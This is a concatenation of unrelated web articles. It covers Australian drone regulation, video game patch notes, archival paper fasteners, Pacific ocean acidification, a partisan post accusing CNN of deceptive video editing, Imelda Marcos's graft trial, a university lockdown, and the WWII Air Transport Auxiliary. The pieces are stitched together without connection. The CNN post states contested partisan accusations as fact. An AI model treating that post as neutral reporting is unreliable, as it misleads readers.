view of the match play. After a successful summer, the drone has already been deployed for the National Rugby League. From sport to news gathering to lifesaving patrols, there are dozens of potential civilian applications of drone technology. Currently there are just 33 CASA-approved commercial drones operators in Australia, mainly deployed on scientific research, surveying and aerial photography. The approvals process can take months and costs thousands of dollars, with applicants required to complete about 90 per cent of a conventional private pilot's course. That will abruptly change if CASA introduces the new rules on small 'Unmanned Aerial Systems' (UAS), more commonly called drones, operating commercially in Australian skies. But CASA is also responding to the rapid, uncontrolled spread of high performance drone technology in Australia. Director of aviation safety John McCormick concedes he has no way of effectively enforcing regulations on those who don't want to fly by the rules. This week in Melbourne he told a conference organised by industry lobby group The Association for Unmanned Vehicles Systems Australia that there could already be up to 100 drones operating illegally. "We think that for every one we know of there are two or three that we do not," he said. Better, faster, cheaper The problem for CASA is that small drone technology is now proliferating at an extraordinary rate, with capability and performance doubling every 18 months, while the price and size of the craft continues to plummet. Currently $2,000 typically buys you a small, high performance multi-rotor the size of a wheelie bin lid, equipped with HD live stream video cameras, GPS, autopilot, top speed of 70 kilometres per hour, with a range of two to three kilometres and a 15-20 minute flight time. Most of these craft are legally flown by hobbyists who are required to stay below 400 feet, and operate only in daylight, well away from airports and areas of high population density. These recreational flyers are not required to undertake training or register their craft. There are no accurate records on the numbers of small drones now in Australia, as they are often assembled locally from components ordered online from overseas. Hobbyists and retailers speculate that about 100 new multi-rotors and fixed wing drones are now taking to Australian skies each week. The cat's out of the bag, long ago, long ago. Director of Aviation Safety John McCormick For CASA's John McCormick, it's a regulatory nightmare. "The cat’s out of the bag, long ago, long ago," he says. "The way you manage this is you manage it through Customs, you say you can't bring one in, just like they did with laser pointers, yes? You can't bring them in. "But that's not my decision, I've got to work with what I've got. "That's a decision for Government, that's a decision for other people to use or implement, be they Customs or Federal Police or somebody. But from our point of view, once it's out there, I can't pass a law I know I can't enforce." One size doesn't fit all John McCormick's skies are being further darkened by growing swarms of smaller craft, marketed as toys. Weighing in at just 700 grams, the $350 Parrot AR Drone 2.0. boasts HD cameras and a more modest range of 50 metres. Optional extras now include a plug in GPS, and tests on new control systems have pushed the range out to one kilometre, batteries permitting. The Parrot Company refuses to reveal sales figures, but leading industry website sUAS News claims 500,000 have been sold worldwide since it was first launched in 2010. "The very lightweight thing you can buy in Harvey Norman or any toyshop somewhere, am I going to go out and tell that guy or woman to get an operators certificate? I can't write a regulation I know I can't enforce – I can. But it's bad law," John McComick says. So CASA is writing some rules it can control. Pending consultation with industry, the Authority will re-categorise all commercial drones in four weight classes, to be flown under the same rules as hobbyists until they receive specific exemptions. Operators of the smallest Group A, weighing 2kg or less, will simply be able to fill out an online authorisation form, receive electronic approval, and start flying. Senior CASA officer Jim Coyne says the safety risk posed by this group is negligible, comparable to being hit by a cricket ball. "A cricket ball weights about 160 grams, but at 100 kilometres per hour, [with a] kinetic energy of about 62 joules….there's been no recorded incident of anyone being killed by a cricket ball in the stand," he says. "The potential for harm and the consequence is very low. "We talk about a harmless UAS, causing minimal harm to a person. If it hits them on the head it will give them a headache. If it hits them in the back it will give them a bit of a bruise, but it is not going to kill you." The bigger the drone, the more stringent the controls. The 2-7 kilogram class will require a risk assessment, and CASA will provide a half-dozen-page rule book. "Potential for harm goes up, still it's not going to do a lot of damage ... that's seven kilograms, about the weight of a six-month-old baby, at 14 knots, or 26 kilometres per hour," Jim Coyne says. He says operators proposing to launch the biggest drones in Group D will face greater scrutiny. "For example, the Scan Eagle weighs about 20kg, it can fly at about 15,000 feet, it can be on station for 20-plus hours, and flies about 120kph. It can fly to New Zealand, it can fly internationally ... that person will be licensed, that person will have a full risk assessment, and it will be treated like a real aircraft." Globally, civilian drones are set to become big business, eventually eclipsing the military market. US aviation analysts the Teal Group forecasts $US89 billion will be spent in the combined military/civil sector over the next decade. Despite growing industry and community pressure, CASA's John McCormick insists there will be no compromises. "Safety is the number one priority, that’s the only reason CASA exists," he says. 'Flying lawnmower' CASA can expect some heavy flak from sections of the piloted aviation community, which points out that drones carry no effective systems to avoid collisions. Last year a commercial helicopter pilot, who requested he not be named, told the ABC he had already had one near miss with an unidentified drone. What the FAA says about drones: Federal agencies are planning to increase their use of UASs. State and local governments envision using UASs to aid in law enforcement and firefighting. Potential commercial uses are also possible, for example, in real estate photography or pipeline inspection. UASs could perform some manned aircraft missions with less noise and fewer emissions. Federal Aviation Authority (US) Forecast Fiscal Years 2010-2030 And in November 2011, a Royal Australian Navy target-towing jet encountered an unidentified drone while flying at 3,000 feet, 65 nautical miles east of Jervis Bay in NSW. The mystery drone was not operated by the Australian or US military, nor any of the certified civilian operators. While most operators do fly responsibly, drones will crash, and the small-drone-disaster is becoming a popular YouTube genre. One recent clip from Brazil no doubt sent shudders through the Fox TV/Foxkopter camp: A phone camera recorded the worst-case sports scenario, as a small drone tracked across a football stadium before veering off course and into the crowded terraces. No-one appeared to be injured, but 5kg of carbon fibre and alloy, propelled at 40kph by several spinning rotors, still generates a lot of what aviation engineers call "kinetic energy". In lay terms this translates as being hit by a flying lawn mower. Who watches the watchers? But perhaps the biggest challenge to CASA's drone future is privacy. In 2012 the US Congress ordered the Federal Aviation Administration (FAA) to integrate drones in domestic airspace by 2015. The FAA estimated 15,000 civil and commercial drones could be flying by 2020, and as many as 30,000 by 2030. The ACLU's view Rules must be put in place to ensure that we can enjoy the benefits of this new technology without bringing us closer to a "surveillance society" in which our every move is monitored, tracked, recorded, and scrutinised by the government. Drone manufacturers are also considering offering police the option of arming these remote-controlled aircraft with (nonlethal for now) weapons like rubber bullets, Tasers, and tear gas. The ACLU's Domestic Drones blog Now this ambitious timetable is stalling. The pro-drone lobby is locked in an epic struggle with growing numbers of US privacy advocates, led by the American Civil Liberties Union, which is concerned by the mass surveillance capabilities of this technology and its potential misuse by police. US state and regional governments have also begun banning civilian drone operations in their locales before the concept has even taken off. Australia has yet to have its drone debate. Given the implications of CASA's proposed reforms, Government sources tell the ABC it is unlikely any changes could be implemented before the federal election in September. Last year Federal Privacy Commissioner Timothy Pilgrim told the ABC he was concerned by the patchwork of federal and state laws that may or may not cover various civilian drone activities, and the ability of police to operate drones without a warrant. He requested that Commonwealth, state and New Zealand attorneys general meet to formulate a coherent overall strategy for this emerging technology. That hasn't happened yet. In stark contrast to the United States, public opinion in Australia remains finely balanced by disinterest. If a drone is used to assist in the rescue of the drowning swimmer, perhaps widespread acceptance will follow. But if a multi-rotor gets sucked into the engine of an Airbus on take-off from Mascot, we may well see drone control right up there alongside gun control. What to read next Drone journalism takes off : As the media starts to deploy small toy-like drones to cover stories, what ethical and safety issues are arising? As the media starts to deploy small toy-like drones to cover stories, what ethical and safety issues are arising? The kill chain: Behind the scenes of Australia's drone war. Behind the scenes of Australia's drone war. Rise of the machines: How civilian drones are already being put to use in the US. - Mark Corcoran has been a reporter/producer with Foreign Correspondent for 15 years. He is currently a Visiting Fellow and research student at the University of Technology, Sydney, examining potential news-gathering applications of drone technology. Topics: science-and-technology, australia First posted -Assassin's Creed Unity's next major update (Patch 4) has begun rolling out on Xbox One and PS4, so forget about the delay we wrote about earlier. Detailing the new update, Ubisoft says the patch is "mainly focused on alleviated performance issues and improving the overall experience." Part of that is an improved frame rate which Ubisoft says involved replacing and updating portions of the Paris city map. Of course, there's a number of other improvements as well — all of which are detailed in the patch notes below: Stability, Performance and Save Game Fixed numerous random crashes both on Campaign and Coop Implemented multiple optimizations and fixes to improve overall performance Fixed save issue caused by the companion app on the main menu (loss of data) Fixed save issue caused by contacts list (crash occurring). Users should now have access to save Gameplay (navigation, fight, stealth) Fixed various navigation issues Fixed issues with lock picking chests Fixed additional haystack issues Character, AI and Crowd Fixed various character, crowd station and NPC issues Online, Matchmaking, Connectivity and Replication Fixed various matchmaking and connection issues both in matches and when starting a match. Fixed various issues with voice chat Fixed join-in-progress issues Fixed various replication issues between host and clients Fixed issues with player rank and COOP/heist rewards Fixed issues with Helix credits Fixed issues with the My Club feature Menus and HUD Fixed HUD icon issues and issues with map information Fixed various Initiates issues Fixed additional issues with notifications Mission tweaks (campaign, coop and side content) Fixed various low occurrence walkthrough breaks in both Campaign and COOP Fixed various NPC issues Fixed issue with the quest log disappearing for specific side missions World and 3D Fixed various collision and mesh issues Fixed additional issues where player would fall through the world Fixed specific areas where textures were missing PC-Specific Fixed crash on "Quit to Windows" in free roam mode Fixed crash on accepting multiple "Join the club" requests Fixed issues with TXAA Fixed issues with PCSS Fixed issues with textures on NPCs Fixed black texture issues on MSAA-4x, MSAA-8x and TXAA Right Control now can be assigned as a hotkey Minor UI fixes Because portions of the map had to be replaced, today's title update checks in at 6.7 GB; however, since a large portion of the patch replaces existing files the net increased to the game's overall size is actually less than 6.7 GB. Patch 4 is rolling out to Xbox One and PS4 players today and will be available on PC later in the week. -Today’s post comes from Alan Walker, archivist at the National Archives in College Park, Maryland. In my reflective moments, I think about what has kept me here at the National Archives for all this time. It couldn’t be the bone-wearying monotony of shuffling heavy cartons of records from here to there, or the tedium of changing out old information systems and learning the vagaries of new ones. No, there’s something else that gets me in the door every morning. Fasteners. You wouldn’t think that something so trivial would hold my attention for any length of time. And yet, paper fasteners play such a vital role in our daily lives here. Consider: when researchers open boxes of records, they will see the telltale signs—the double round holes centered at the tops of the documents, the pinprick perforations in the corners. And many fasteners are still doing their duty among the records now. It is a canon of archival preservation that fasteners are the devil’s work; capable of doing lasting and disfiguring damage to their host’s integrity, they must be removed, and forthwith. And so they are. Textual processing staff at all National Archives facilities do this every day. Perhaps gazillions of the little buggers get the boot each year; here are some Acco fasteners awaiting their fate. My fellow staff like to collect the unusual ones. Clips, pins, staples, nails (!), tabs, and types whose names I couldn’t begin to fathom—we have come across an astounding variety among the records. Customer Service Division chief Diane Dimkoff told me that she once found an inch-and-a-half-long thorn holding papers together! They were Army records from the field during World War II; you had to make do with what you had. Just among the humble paper clip, the range of artistry is astounding! Twisted into an amazing variety of shapes, angles, and patterns, there is a touching industrial beauty about them. And the range of raw materials from which these fasteners were produced—steel, aluminum, copper, plastic, string, even compressed paper! —offers a history lesson in itself; how industry introduced new materials and methods of production in the search for more efficiencies of cost, while ever mindful of how they could stylishly set themselves apart from the competition. The fasteners themselves generate conversation. Archivist Pam Anderson at Lee’s Summit tells of how court records from Puerto Rico were, for lack of folders, simply pierced through the center with extra-large staples. Not a bit of fun for the National Archives staff who have to remove them. Folks who work in processing the records will tell you that part of what they love about their work is the excitement of opening a box to see what’s inside. And sometimes, while the records themselves may not seem interesting, what’s attached to them can be fasten-ating. Share this: Twitter Facebook -The Pacific Ocean is growing more acidic at a much faster rate than anticipated, scientists say, putting everything from corals to mussels in jeopardy. Researchers say carbon dioxide from the atmosphere forms carbonic acid in the ocean, changing the seawater enough that it can dissolve the shells of coral and shellfish. The water off the west coast of Vancouver Island is changing at an unprecedented rate, meaning vulnerable life forms in the ocean's food chain must adapt or die. UBC PhD student Kathryn Anderson says sea urchins are one of the many species extremely sensitive to the changes now underway. "It'll hit the larval stage, it'll hit the fertilization stage, it'll hit the adult stage," she said. "Urchins are going to be hit from many different angles … this is stuff that we do know. Urchins will be highly negatively impacted." Tidal pools along the coast are home to a complex web of life, with dozens of species dependent on each other. "All the species we look at interact pretty tightly with each other," Anderson said. "A single species may be affected less directly by ocean acidification, but because another species that it consumes or consumes it is highly affected by ocean acidification, that can cascade down the food web, through connections of competition and affect the entire community structure. "People are only just starting to even consider these concepts." 'A spectacular environment' As ocean acidification continues, some species will die off and others will grow faster, creating an imbalance in the food chain. Pisaster, or starfish, grow faster and eat more in response to ocean acidification, while its main food source, mussels, grow slower. (CBC) "Our top predator, the pisaster [a starfish], is pretty interesting," she said. "It has calcium carbonate in it but mostly in the form of spicules, and the research from our lab actually found that pisaster grow faster in response to ocean acidification and consume more. "And this is an interesting problem because their main food source are mussels, which grow slower in response to ocean acidification. So they're becoming more voracious carnivores, while their food source is having a harder time calcifying and growing." Near the Bamfield Marine Research Station on Vancouver Island, 60 artificial tide pools that Anderson constructed each form their own little ecosystem. She's pumping in different levels of carbon dioxide in order to determine how different species will react. "What I am trying to do is in one-third of my tide pools, trying to get a picture for what a tide pool is going to look like in 2100, and what tide pool our grandkids will look at," she said. "It's a spectacular environment, and the truth is we don't know if it is going to look like that. We will lose a lot of stuff. I don't think the urchins will be there at all." Lessons from a scallop farm For some, that future has already arrived. Aquaculture is big business in B.C., supplying a steadily increasing percentage of the food supply. At Island Scallops near Qualicum Beach, scallops are raised from microscopic larvae. Two years ago, something all but wiped out a billion of them — nearly the entire year's crop. "In 2010, we couldn't grow anything, everything died," said Island Scallops owner Rob Saunders. "Every batch we put through the hatchery either died at day 10 or by the end of its larval life, which is about day 20, they were all dead. " Similar problems were popping up all along the Pacific Coast. Some blamed a mysterious disease, and those in the industry scrambled to test water temperature and salinity, but nobody considered pH. "I was trained at UBC, and we were trained that the ocean never changes," Saunders said. "It's the mother Earth, it's always stable and it hardly fluctuates, nobody was looking at pH." With creditors calling and his multimillion-dollar business on the line, Saunders came across a study detailing the effects of pH levels on fish. He altered the pH of the water and put some larvae under the microscope. "After we removed the CO2, I came in early in the morning, and I'm looking at the microscope ... and sure enough they were swimming around like mad, and then we knew we had it, and we haven't looked back since then." Mass extinction feared In Port Moody, UBC marine biologist Chris Harley and a student are conducting experiments to examine the effect of ocean pH on invasive species. UBC marine biologist Chris Harley says it is 'highly likely' we are in a period of mass extinction. (CBC) "We're pretty that sure mussels are going to not do well, because they have to grow shells, which is hard to do when the water is acidic," Harley said. "The barnacles, every study seems to show the barnacles are almost immune to this, so they might be all right." Harley has students working up and down the West Coast this summer, doing some basic research. He believes the changes he's seeing are directly related to climate change — the CO2 long accumulated in the oceans is now making its way toward shore. "You have a power plant ... when it needs to be turned on, to generate extra electricity, it's burning natural gas, which is putting carbon dioxide into the air," Harley said. "That carbon dioxide ends up in the ocean ... where it changes the pH of the water — and that's where it starts to create trouble for the plants and animals that live there." There is debate about the role humans play in ocean acidification, but there's no doubt acidification is happening. Adjusting pH in the controlled setting of a scallop farm is relatively easy, but changing it for the entire Pacific Ocean is next to impossible. Harley says the science suggests we're in a period of mass extinction. "It's highly likely we are in that scenario now. It's not just ocean acidification," he said. "It's also overfishing combined with warming, combined with acidification, combined with lots of other things, and all of these changes happening so quickly and happening all at the same time is pushing these species past where they can rebound when their populations get knocked down. "So over the next 50 years, we should probably see a lot of species go extinct in the sea." Scientists are seeing changes in their own lifetime that in the past would have taken thousands of years. Researchers are struggling to catch up — monitoring changes, trying to determine just how bad it will get and finding out which species will be the first to go. -A pro-Police group has accused CNN of deceptively editing the Charlotte shooting video, where police shot Keith Scott. Hat tip to our friends at The Daily Wire. Yes, as shocking as it sounds to accuse CNN of doing such a thing (see CAUGHT: CNN Forced to Apologize For Doctoring Violent Milwaukee Video), let’s take a look. First, what CNN aired… Second, the unedited footage… Looks like a deceptive edit to me. CNN removed the clips where the police constantly yelled for Scott to “DROP THE GUN!” “The editing was clearly intended to give viewers the impression that Scott wasn’t armed. By intentionally excluding information to promote the false narrative that the officer-involved shooting of Keith Scott was unjustified, CNN directly contributed towards inciting violence and destruction in the Charlotte riots. Innocent citizens were hurt during the Charlotte riots, but editing like this also incites violence against police officers long after the riots are over.” This is what conservatives and anyone who cares about facts are up against (see RED-HANDED: Katie Couric Caught Editing Video to Push Anti-Gun Lies… and CENSORED: White House Edits Video of French President Saying ‘Islamist Terrorism’). The media will never let facts get in the way of their narrative unless they get called out. To recap: To the average person who works and raises a family and doesn’t have the time to fact check the media (because they assume it’s the media’s job to fact check themselves), they just hear “cops shoot black man holding book.” Liberals know this. They run with it. They reap the consequences of their actions with ratings as cities like Charlotte burn. Media like CNN, with this editing trick, helped Black Lives Matter push the false narrative that cops are shooting unarmed black men. But no. Not so much, as this video shows. And this is why we fight back. NOT SUBSCRIBED TO THE PODCAST? FIX THAT! IT’S COMPLETELY FREE ON BOTH ITUNES HERE AND SOUNDCLOUD HERE. -(UPDATED) The former first lady is accused of creating private foundations in Switzerland from 1978 to 1984 when she was governor of Metro Manila Published 1:05 PM, January 17, 2017 MANILA, Philippines (UPDATED)– Ilocos Norte 2nd District Representative Imelda Marcos did not attend her last day of trial for a 25-year-old graft case before the Sandiganbayan, which has now been postponed to February 16. The 5th Division on Tuesday, January 17, reset the trial because the defense failed to present their last evidence, which includes a testimony from deceased former judge Cesario del Rosario. The 10 counts of graft filed in 1991 against Marcos stemmed from allegations that she created private foundations in Switzerland from 1978 to 1984 while she was governor of Metro Manila. The former first lady also allegedly held financial interests in several private enterprises, a violation of Republic Act 3019 or the Anti-Graft and Corrupt Practices Act. Assistant Special Prosecutor Rey Quilala told reporters that the evidence from the defense team consist of documents dating back to the 1990s. One is a copy of Del Rosario's testimony when the case was still with the Manila Regional Trial Court. Another is an internal memorandum between Del Rosario, then assistant solicitor general, and Supreme Court Senior Associate Justice Antonio Carpio, then the chief presidential legal counsel of president Fidel Ramos. The memo is said to be Del Rosario's briefer to Carpio, as the latter, after being appointed by Ramos in 1992, asked the former for an update on cases against the Marcoses. Neither the former first lady nor her lawyers attended the hearing. Quilala told reporters they will seek a formal order so the case could proceed for judgment. The prosecution had rested its case in 2015. The private foundations that Marcos allegedly formed are considered among her and her family's hidden assets in Switzerland. The government has since been able to identify $658 million worth of Marcos Swiss deposits. Documents which were used by the government to track down these deposits are used in related cases, such as this 1991 graft case. The Sandiganbayan Special 1st Division is also handling another corruption claim against the former first lady, stemming from appeals from the Office of the Solicitor General (OSG) and the Presidential Commission on Good Government (PCGG) to declare $24 million worth of art collections "unlawfully acquired." (READ: Recovering Marcos' ill-gotten wealth: After 30 years, what?) – Rappler.com -Wilfrid Laurier University in Waterloo, Ont., has reopened after being on lockdown for nearly six hours due to an “online threat made against the university,” officials said. All students and staff were asked to stay away from the campus as police investigated. Classes and meetings were also cancelled. The lockdown was lifted at approximately 11:30 a.m. Threat contained “similar verbiage” to posts about Oregon shooting The nature of the threat is not immediately clear, but Waterloo police superintendent Pat Dietrich said it contained “similar verbiage” to online threats on the same website ahead of the shooting at the Umpqua Community College in Oregon that killed 9 on earlier this month. “It was something we understand was previously used on a school-related…incident in the State and that elevated concerns,” Dietrich said. “It was the shooting in Oregon.” The threat “was picked up by a variety of police forces and passed on to the Waterloo Regional Police,” Crowley said. The university’s Special Constable received a tip about the threat from Waterloo police at approximately 3 a.m. on Friday. The university was placed on lockdown at 6 a.m. Crowley said the threat was centred at the Science Building at University and Bricker Avenues. The building was empty when the university was placed on lockdown and no injuries have been reported, Crowley said. Suspect may not be a local Dietrich also said the person who posted the threat online may not be in the Waterloo area, or even in the country. As a result, the U.S. Federal Bureau of Investigation and the RCMP are also involved in the investigation, Dietrich said. “These are very complicated investigations, locating IP addresses and the ways you can mask them is something that is very complex,” Dietrich told reporters. The suspect, he said, could face public mischief charges. The university is in its reading week and campus is not as crowded as usual. All students, faculty and staff were notified about the lockdown by email and on social media, Crowley said. Representatives from the university will provide updated information via legacy.wlu.ca as it becomes available. The nearby University of Waterloo remained open during the lockdown, but officials said they were monitoring the situation at Wilfrid Laurier University closely. With files from CTV Kitchener -The Air Transport Auxiliary (ATA) was a British civilian organisation set up during the Second World War and headquartered at White Waltham Airfield that ferried new, repaired and damaged military aircraft between factories, assembly plants, transatlantic delivery points, maintenance units (MUs), scrap yards, and active service squadrons and airfields, but not to naval aircraft carriers. It also flew service personnel on urgent duty from one place to another and performed some air ambulance work. Notably, some of its pilots were women, and from 1943 they received equal pay to their male co-workers, a first for the British government. Mission [ edit ] The initial plan was that the ATA would carry personnel, mail and medical supplies, but the pilots were immediately needed to work with the Royal Air Force (RAF) ferry pools transporting aircraft.[1] By 1 May 1940 the ATA had taken over transporting all military aircraft from factories to maintenance units to have guns and accessories installed. On 1 August 1941 the ATA took over all ferrying jobs.[2] This freed the much-needed combat pilots for combat duty. At one time there were fourteen ATA ferry pools as far apart as Hamble, between Southampton and Portsmouth, and Lossiemouth near Inverness in Scotland. A special ATA Air Pageant was held at White Waltham on 29 September 1945 to raise money for the ATA Benevolent Fund, supported by the aircraft companies that had been served by the ATA. It included comprehensive static displays of Allied and German aircraft, including a V1, aero engines, and even an AA gun and searchlight complete with crew. Pilots taking part included Alex Henshaw in a Supermarine Seafire. Lord Beaverbrook, a World War II Minister of Aircraft Production, gave an appropriate tribute at the closing ceremony disbanding the ATA at White Waltham on 30 November 1945:[3] “ Without the ATA the days and nights of the Battle of Britain would have been conducted under conditions quite different from the actual events. They carried out the delivery of aircraft from the factories to the RAF, thus relieving countless numbers of RAF pilots for duty in the battle. Just as the Battle of Britain is the accomplishment and achievement of the RAF, likewise it can be declared that the ATA sustained and supported them in the battle. They were soldiers fighting in the struggle just as completely as if they had been engaged on the battlefront. ” Accomplishment [ edit ] During the war the ATA flew 415,000 hours and delivered more than 309,000[4] aircraft of 147 types, including Spitfires, Hawker Hurricanes, Mosquitoes, Mustangs, Lancasters, Halifaxes, Fairey Swordfish, Fairey Barracudas and Fortresses. The average aircraft strength of the ATA training schools was 78. A total of 133,247 hours were flown by school aircraft and 6,013 conversion courses were put through. The total flying hours of the Air Movement Flight were 17,059, of which 8,570 were on domestic flights and 8,489 on overseas flights. About 883 tons of freight were carried and 3,430 passengers were transported without any casualties; but a total of 174 pilots, women as well as men, were killed flying for the ATA in the wartime years.[5] Total taxi hours amounted to 179,325, excluding Air Movements.[6] Initially, to comply with the Geneva Convention, as many of the ferry pilots were nominally civilians and/or women, aircraft were ferried with guns or other armament unloaded. However, after encounters with German aircraft in which the ferried aircraft were unable to fight back, RAF aircraft were ferried with guns fully armed. Administration [ edit ] The administration of the ATA fell to Gerard d'Erlanger, a director of British Airways Ltd, which was merged into the British Overseas Airways Corporation (BOAC) in 1940. He had suggested a similar organisation in a letter dated 24 May 1938. In late August 1939 the ATA was placed under British Airways Ltd for initial administration and finance,[1] but on 10 October 1939 Air Member for Supply and Organisation (AMSO) took over. The first pilots were assigned to RAF Reserve Command and attached to RAF flights to ferry trainers, fighters and bombers from factory and storage to Royal Air Force stations.[7] The ATA's Central Ferry Control, which allocated the required flights to all Ferry Pools, was based at RAF Andover. Late in 1939 it was decided that a third and entirely civilian ferry pool should be set up at White Waltham, near Maidenhead in Berkshire. The operations of this pool began on 15 February 1940. On 16 May 1940 RAF Maintenance Command took control through its No. 41 Group. Then, on 22 July 1941, the ATA was placed under the control of Lord Beaverbrook's Ministry of Aircraft Production (MAP). Although control shifted between organisations, administration was always carried out by staff led by Commander Gerard d’Erlanger CBE, first at British Airways Ltd, then, after the merger in 1940, at BOAC.[2] Pilots [ edit ] The ATA recruited pilots who were considered to be unsuitable for either the Royal Air Force or the Fleet Air Arm by reason of age, fitness or gender. A unique feature of the ATA was that physical handicaps were ignored if the pilot could do the job, thus there were one-armed, one-legged, short-sighted and one-eyed pilots, humorously referred to as "Ancient and Tattered Airmen". The ATA also took pilots from neutral countries. Representatives of 28 countries flew with the ATA.[8] Most notably, the ATA allowed women pilots to ferry aircraft. The female pilots (nicknamed "Attagirls")[9] had a high profile in the press. On 14 November 1939 Commander Pauline Gower MBE was given the task of organising the women's section of the ATA.[10] The first eight women pilots were accepted into service on 1 January 1940, initially only cleared to fly Tiger Moths from their base in Hatfield.[11] They were: Joan Hughes, Margaret Cunnison, Mona Friedlander, Rosemary Rees, Marion Wilberforce, Margaret Fairweather, Gabrielle Patterson, and Winifred Crossley Fair. Overall during World War II there were 166 women pilots, one in eight of all ATA pilots, and they volunteered from Britain, Canada, Australia, New Zealand, South Africa, the United States, the Netherlands and Poland. From Argentina and Chile came Maureen Dunlop and Margot Duhalde.[12] Fifteen of these women lost their lives in the air, including the British pioneer aviator Amy Johnson. Two of the women pilots received commendations; one was Helen Kerly.[13] A notable American member of the ATA was legendary aviatrix Jacqueline Cochran who returned to the United States and started a similar all female organization known as the Women Airforce Service Pilots (WASP). These women pilots were initially restricted to non-combat types of aircraft (trainers and transports), but they were eventually permitted to fly virtually every type flown by the RAF and the Fleet Air Arm, including the four-engined heavy bombers, but excluding the largest flying boats. Hurricanes were first flown by women pilots on 19 July 1941, and Spitfires in August 1941.[11] One of the many notable achievements of these women is that they received the same pay as men of equal rank in the ATA, starting in 1943. This was the first time that the British government gave its blessing to equal pay for equal work within an organisation under its control.[14] At the same time American women flying with the Women Airforce Service Pilots (WASP) were receiving as little as 65 per cent of the pay given to their male colleagues.[15] Training [ edit ] The first ATA pilots were introduced to military aircraft at the RAF’s Central Flying School (CFS), but the ATA soon developed its own training programme. Pilots progressed from light single-engined aircraft to more powerful and complicated aircraft in stages. They first qualified on one “class” of aircraft, then gained experience on that class by doing ferrying work with any and all aircraft in that class, before returning to training to qualify on the next class of aircraft. As a result, pilots made progress on the basis of their own capabilities rather than according to a rigid timetable. This ensured not only that as many pilots as possible advanced, but that those who could not were still gainfully employed flying the aircraft types on which they had qualified. Once cleared to fly one class of aircraft, pilots could be asked to ferry any plane in that class even if they had never seen that type of aircraft before. To do so they had Ferry Pilot Notes, a two-ring book of small cards with the critical statistics and notations necessary to ferry each aircraft. A pilot cleared on more than one class could be asked to fly an aircraft in any of the categories on which he or she was qualified. Thus, even a pilot cleared to fly four-engined bombers could be assigned to fly a single-engined trainer if scheduling made this the most efficient way to get the aircraft to its destination. The ATA trained its pilots only to ferry planes, rather than to achieve perfection on every type. For example, aerobatics and blind flying were not taught, and pilots were explicitly forbidden to do either, even if they were capable of doing so. The objective of the ATA was to deliver aircraft safely and that meant taking no unnecessary risks.[16] Ranks [ edit ] Units [ edit ] The following units were active in the ATA: No. 1 Ferry Pool ATA White Waltham, Maidenhead Previously: No. 1 Ferry Pilot Pool ATA <- 'A' Section of No. 3 Ferry Pilot Pool ATA No. 2 Ferry Pool ATA Whitchurch, Bristol Previously: No. 2 Ferry Pilot Pool ATA <- 'B' Section of No. 3 Ferry Pilot Pool ATA No. 3 Ferry Pool ATA Harwarden, Chester Previously: No. 3 Ferry Pilot Pool ATA <- 'C' Section of No. 3 Ferry Pilot Pool ATA No. 4 Ferry Pool ATA Prestwick, Ayrshire Previously: No. 4 Ferry Pilot Pool ATA No. 5 Ferry Pool ATA Thame, Oxfordshire (Training Unit) Previously: No. 5 Ferry Pilot Pool ATA <- 'D' Section of No. 3 Ferry Pilot Pool ATA <- Women's Ferry Pilot Pool ATA No. 6 Ferry Pool ATA Radcliffe, Leicester Previously: No. 6 Ferry Pilot Pool ATA No. 7 Ferry Pool ATA Sherburn-in-Elmet, Leeds Previously: No. 7 Ferry Pilot Pool ATA No. 8 Ferry Pool ATA Sydenham, Belfast Previously: No. 8 Ferry Pilot Pool ATA No. 9 Ferry Pool ATA Aston Down, Gloucestershire Previously: No. 9 Ferry Pilot Pool ATA No. 10 Ferry Pool ATA Lossiemouth, Moray Previously: No. 10 Ferry Pilot Pool ATA <- No. 4 Ferry Pilot Pool ATA No. 12 Ferry Pool ATA Cosford, Staffordshire Previously: No. 12 Ferry Pilot Pool ATA No. 15 Ferry Pool ATA Hamble, Southampton Previously: No. 15 Ferry Pilot Pool ATA No. 16 Ferry Pool ATA Kirkbride, Carlisle Previously: No. 16 Ferry Pilot Pool ATA <- No. 4 Ferry Pilot Pool ATA No. 14 Ferry Pilot Pool ATA Ringway, Manchester Previously: No. 14 Ferry Pilot Pool ATA No. 5 (T) Ferry Pool ATA Previously: (Training) Ferry Pool ATA Initial Flying Training School ATA Previously: Elementary Flying Training School ATA <- ATA School Air Movements Flight ATA (1942–45) Advanced Flying Training School ATA (1942–45) Previously: ATA School See also [ edit ] References [ edit ] Citations [ edit ] Bibliography [ edit ] Lake, A (1999). Flying units of the RAF. Shrewsbury: Airlife. ISBN 1-84037-086-6. Books [ edit ] Air Transport Auxiliary, Air Transport Auxiliary . (Handbook) White Waltham: Reminder Book, 1945. . (Handbook) White Waltham: Reminder Book, 1945. Barnato Walker, Diana. Spreading My Wings . Patrick Stephens, 1994 ISBN 1-85260-473-5 . Patrick Stephens, 1994 ISBN 1-85260-473-5 Bergel, Hugh. Fly and Deliver: A Ferry Pilot's Log Book . Shrewsbury: Airlife Publishing, 1982. . Shrewsbury: Airlife Publishing, 1982. Cheesman, E. C. Brief Glory: The Story of A.T.A. . Leicester: Harborough Publishing, 1946. . Leicester: Harborough Publishing, 1946. Curtis, Lettice. Lettice Curtis: Her Autobiography . Walton on Thames: Red Kite, 2004. . Walton on Thames: Red Kite, 2004. Curtis, Lettice. The Forgotten Pilots: A Story of the Air Transport Auxiliary, 1939-45 . Olney, Bucks: Nelson & Saunders, 1985 ISBN 0-947750-02-9 . Olney, Bucks: Nelson & Saunders, 1985 ISBN 0-947750-02-9 De Bunsen, Mary. Mount Up with Wings . London: Hutchinson, 1960. . London: Hutchinson, 1960. Du Cros, Rosemary. ATA Girl: Memoirs of a Wartime Ferry Pilot . London: Muller, 1983. . London: Muller, 1983. Ellis, Mary. A Spitfire Girl . Barnsley: Frontline Books, 2016. . Barnsley: Frontline Books, 2016. Fahie, Michael. A Harvest of Memories: The Life of Pauline Gower M.B.E. . Peterborough: GMS Enterprises, 1995. . Peterborough: GMS Enterprises, 1995. Genovese, J. Gen. We Flew Without Guns . Philadelphia: The John C. Winston Company, 1945. . Philadelphia: The John C. Winston Company, 1945. Great Britain, and Hugh Bergel. Flying Wartime Aircraft; ATA Ferry Pilots' *Handling Notes for Seven World War II Aircraft . Newton Abbot: David & Charles, 1972. . Newton Abbot: David & Charles, 1972. Hathaway, Warren. Pursuit of a Dream: The Story of Pilot Vera (Strodl) Dowling . Edmonton, Canada: PageMaster Publishing, 2012. . Edmonton, Canada: PageMaster Publishing, 2012. Hawkins, Regina Trice. Hazel Jane Raines, Pioneer Lady of Flight . Macon, GA: Mercer University Press, 1996. . Macon, GA: Mercer University Press, 1996. Hyams, Jacky. The Female Few: Spitfire Heroines of the Air Transport Auxiliary . Gloucester: History Press, 